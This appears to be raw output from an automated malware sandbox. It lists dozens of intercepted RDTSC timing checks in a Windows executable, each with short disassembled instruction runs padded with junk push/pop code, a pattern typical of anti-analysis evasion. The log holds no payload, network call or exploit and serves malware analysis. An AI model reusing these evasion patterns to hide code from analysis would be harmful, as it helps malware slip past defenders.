Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E99 second address: 686E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686E9F second address: 686EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68719F second address: 6871A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6871A3 second address: 6871B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6871B2 second address: 6871DF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7EC906D1D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F7EC906D1F1h 0x00000012 jmp 00007F7EC906D1E5h 0x00000017 jl 00007F7EC906D1D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6871DF second address: 6871E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F7EC882AED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6871E9 second address: 6871ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693178 second address: 6931B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7EC882AEE2h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop edx 0x00000013 jng 00007F7EC882AEFBh 0x00000019 push eax 0x0000001a push edx 0x0000001b jbe 00007F7EC882AED6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6931B9 second address: 6931BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6934CC second address: 6934D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7EC882AED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69378E second address: 693792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6938F3 second address: 693911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F7EC882AEE3h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A0D8 second address: 69A0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A0DE second address: 69A0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A0E4 second address: 69A0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A0EE second address: 69A0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D92A second address: 69D94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7EC906D1D6h 0x0000000a jmp 00007F7EC906D1E8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2D3 second address: 69D2E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2E4 second address: 69D2EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2EB second address: 69D2F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D2F0 second address: 69D300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC906D1DAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D446 second address: 69D44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A540A second address: 6A540E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A540E second address: 6A5414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A5414 second address: 6A543E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E0h 0x00000007 pushad 0x00000008 jmp 00007F7EC906D1E5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A543E second address: 6A545A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7EC882AEE3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A545A second address: 6A5471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F7EC906D1D6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jbe 00007F7EC906D1D6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB965 second address: 6AB96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB96E second address: 6AB974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB974 second address: 6AB978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB978 second address: 6AB97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB97E second address: 6AB992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F7EC882AEDAh 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABB6F second address: 6ABB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABB79 second address: 6ABB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F7EC882AEE5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B7C6E second address: 6B7C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA359 second address: 6CA366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F7EC882AEE2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA366 second address: 6CA386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7EC906D1D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7EC906D1E4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA502 second address: 6CA506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA506 second address: 6CA510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA510 second address: 6CA52C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA650 second address: 6CA65C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAAA2 second address: 6CAABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F7EC882AEE2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAC24 second address: 6CAC2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAC2A second address: 6CAC32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAD99 second address: 6CADAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7EC906D1DAh 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F7EC906D1DEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7D7 second address: 6CB7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7DD second address: 6CB7ED instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7EC906D1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7ED second address: 6CB7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7F3 second address: 6CB7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB7FB second address: 6CB806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7EC882AED6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEAF0 second address: 6CEB13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 jl 00007F7EC906D1DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE80F second address: 6CE82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F7EC882AEE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CE82C second address: 6CE831 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7873 second address: 6D7896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F7EC882AEDAh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D90B6 second address: 6D90BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D90BE second address: 6D90C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D90C6 second address: 6D90FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F7EC906D1E3h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F7EC906D1E5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D90FC second address: 6D9104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD45A second address: 6DD45E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD45E second address: 6DD464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD464 second address: 6DD46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E006D second address: 6E008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F7EC882AEE1h 0x0000000e jp 00007F7EC882AED6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E008E second address: 6E00B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7EC906D1E6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EECF8 second address: 6EED01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EED01 second address: 6EED20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC906D1E9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700687 second address: 70068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70068B second address: 700695 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7EC906D1D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700989 second address: 7009C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007F7EC882AED6h 0x0000000c jmp 00007F7EC882AEDEh 0x00000011 ja 00007F7EC882AED6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7EC882AEE5h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7009C5 second address: 7009C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7009C9 second address: 7009D5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7EC882AED6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700C6E second address: 700C77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700C77 second address: 700C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700C7D second address: 700C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7EC906D1D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700F74 second address: 700F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700F79 second address: 700F7E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7044F0 second address: 7044F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7044F5 second address: 704511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F7EC906D1E6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704511 second address: 70451F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70451F second address: 704523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704523 second address: 704527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707060 second address: 707066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707066 second address: 707072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707072 second address: 707076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707146 second address: 70714C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70714C second address: 707150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6048B second address: 4D60491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60491 second address: 4D604A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604A7 second address: 4D604BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC882AEE3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604BF second address: 4D604E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F7EC906D1DDh 0x0000000f mov ch, D6h 0x00000011 popad 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604E0 second address: 4D604F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60545 second address: 4D6058F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, 33h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F7EC906D1DFh 0x00000015 add si, CCDEh 0x0000001a jmp 00007F7EC906D1E9h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6058F second address: 4D605D1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 50691BA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F7EC882AEDDh 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F7EC882AEDEh 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7EC882AEE7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D605D1 second address: 4D6060B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7EC906D1E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6060B second address: 4D60611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619A11 second address: 619A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619A15 second address: 619A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619A1B second address: 619A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619A20 second address: 619A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D92 second address: 4D60D98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D98 second address: 4D60D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D9C second address: 4D60DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
